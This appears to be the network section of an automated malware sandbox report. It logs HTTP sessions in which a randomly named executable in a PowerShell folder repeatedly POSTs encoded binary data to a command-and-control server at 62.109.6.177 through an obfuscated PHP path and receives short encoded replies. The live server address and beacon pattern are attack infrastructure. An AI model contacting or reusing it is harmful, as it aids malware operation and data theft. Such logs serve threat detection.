Jan 4, 2025 13:37:43.170563936 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49778	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:43.297652960 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:43.656059027 CET	2580	OUT	Data Raw: 55 52 5a 5d 5b 5b 57 5c 5d 59 52 51 5a 5d 55 50 5f 59 5c 40 50 57 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: URZ][[W\]YRQZ]UP_Y\@PWV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.=/3 ::_$0%>:!"3^/%B.$9+) 81.\/'^.1
Jan 4, 2025 13:37:44.006688118 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:44.138556957 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49779	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:44.241378069 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1876 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49780	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:44.428606987 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:44.782254934 CET	2584	OUT	Data Raw: 55 57 5f 59 5e 52 57 59 5d 59 52 51 5a 55 55 53 5f 5b 5c 44 50 51 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UW_Y^RWY]YRQZUUS_[\DPQV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.; 9.$ )Z54!X0(,Z&7:$9/=:;73(&.\/'^.
Jan 4, 2025 13:37:45.179590940 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:45.309974909 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49781	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:45.438019037 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:37:45.796688080 CET	2584	OUT	Data Raw: 55 55 5a 5c 5b 5b 57 51 5d 59 52 51 5a 59 55 53 5f 5d 5c 42 50 52 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UUZ\[[WQ]YRQZYUS_]\BPRVS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.>8Z79>]& 9X(%_54"';?'4'8T)+#37_&<.\/'^.1
Jan 4, 2025 13:37:46.151194096 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:46.282954931 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49782	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:46.407083035 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:46.765427113 CET	2584	OUT	Data Raw: 50 54 5f 50 5e 58 57 5a 5d 59 52 51 5a 5f 55 54 5f 55 5c 43 50 56 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PT_P^XWZ]YRQZ_UT_U\CPVV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.@><' 6\%5=9265]08#'4-$8S=) V<%.\/'^.)
Jan 4, 2025 13:37:47.117412090 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:47.247361898 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49783	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:47.565906048 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:47.921742916 CET	2584	OUT	Data Raw: 50 54 5f 5a 5b 5e 57 5f 5d 59 52 51 5a 58 55 52 5f 5d 5c 43 50 53 56 5d 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PT_Z[^W_]YRQZXUR_]\CPSV][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-(/#4:>]&:=995'=\$(0&09>4?&<.\/'^.5
Jan 4, 2025 13:37:48.290580034 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:48.432048082 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50551	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:48.562747002 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:48.921750069 CET	2584	OUT	Data Raw: 50 53 5f 5d 5b 59 52 5b 5d 59 52 51 5a 55 55 54 5f 5e 5c 47 50 50 56 52 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PS_][YR[]YRQZUUT_^\GPPVR[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.D(/'#9%0==["$+3%'"08(Y#0+^1.\/'^.
Jan 4, 2025 13:37:49.251383066 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:49.381385088 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50552	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:49.427537918 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50553	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:49.501550913 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:49.859241009 CET	2584	OUT	Data Raw: 55 50 5f 5a 5e 58 57 51 5d 59 52 51 5a 54 55 53 5f 5e 5c 42 50 5c 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UP_Z^XWQ]YRQZTUS_^\BP\V_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.E)< 791#!*)1_"7='8Y1$"3))8 #'^1<.\/'^.
Jan 4, 2025 13:37:50.189754009 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:50.320640087 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50554	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:50.439387083 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:37:50.796689034 CET	2584	OUT	Data Raw: 55 57 5f 5d 5e 5a 57 5e 5d 59 52 51 5a 5e 55 55 5f 5c 5c 46 50 51 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UW_]^ZW^]YRQZ^UU_\\FPQV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)<# ))$05\(: 4!Y$;3&)U'(U**8"00%<.\/'^.-
Jan 4, 2025 13:37:51.144412994 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:51.300333977 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50555	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:51.425843000 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:51.781089067 CET	2584	OUT	Data Raw: 50 50 5a 5f 5b 5e 57 5a 5d 59 52 51 5a 5c 55 50 5f 5f 5c 40 50 57 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PPZ_[^WZ]YRQZ\UP__\@PWV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-><\7&Z$ \*[6:%(0[%$P08(:#43'^2.\/'^.%
Jan 4, 2025 13:37:52.103766918 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:52.234707117 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50556	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:52.359402895 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:52.718578100 CET	2584	OUT	Data Raw: 55 52 5f 59 5e 5e 57 59 5d 59 52 51 5a 5e 55 56 5f 5a 5c 41 50 51 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UR_Y^^WY]YRQZ^UV_Z\APQV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-*<0#9>2](:X663%'"')0U=9(Y#0#_1.\/'^.-
Jan 4, 2025 13:37:53.042241096 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:53.171402931 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50557	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:53.297558069 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:53.656068087 CET	2584	OUT	Data Raw: 50 53 5f 5a 5b 5e 52 5c 5d 59 52 51 5a 5f 55 54 5f 58 5c 45 50 55 56 5d 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PS_Z[^R\]YRQZ_UT_X\EPUV][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)\#6%#))1Z"$]$+'$%Q'$>/#<1.\/'^.)
Jan 4, 2025 13:37:54.010643959 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:54.147386074 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50558	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:54.269448996 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50559	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:54.505459070 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:54.859246969 CET	1904	OUT	Data Raw: 50 55 5f 5e 5e 5b 52 58 5d 59 52 51 5a 5f 55 56 5f 58 5c 45 50 54 56 5d 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PU_^^[RX]YRQZ_UV_X\EPTV][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-/'"&\&V5Y()=!$-Y$;1$U$9T)_8]#3 &<.\/'^.)
Jan 4, 2025 13:37:55.190335989 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:55.320432901 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 26 03 20 2e 0f 11 20 3d 23 09 26 29 27 57 21 3b 22 08 2c 22 2b 03 32 1d 26 06 3f 31 34 0d 36 07 21 12 3f 01 05 52 31 23 3d 1f 25 3a 2c 5b 04 1f 20 42 36 11 07 1b 2d 12 27 14 38 0b 31 5f 27 03 20 13 2a 12 01 56 22 33 28 5d 3e 39 29 57 27 29 27 55 3d 03 20 47 26 20 30 5a 26 3b 2b 5e 02 15 24 10 2a 3e 22 53 36 00 00 00 32 0f 2a 1f 33 1b 3f 0a 21 2b 30 0f 28 29 3a 5d 25 2c 38 54 23 09 22 05 35 01 08 5a 23 28 06 0c 31 39 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: & . =#&)'W!;","+2&?146!?R1#=%:,[ B6-'81_' V"3(]>9)W')'U= G& 0Z&;+^$>"S62*3?!+0():]%,8T#"5Z#(19%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50560	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:54.625390053 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:54.984193087 CET	2584	OUT	Data Raw: 55 50 5a 58 5e 5b 57 59 5d 59 52 51 5a 5f 55 5d 5f 5b 5c 49 50 52 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UPZX^[WY]YRQZ_U]_[\IPRVY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.=,(49\1\*9154)X'+$Z&2$9W)3 Y1<.\/'^.)
Jan 4, 2025 13:37:55.325989962 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:55.462203979 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50561	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
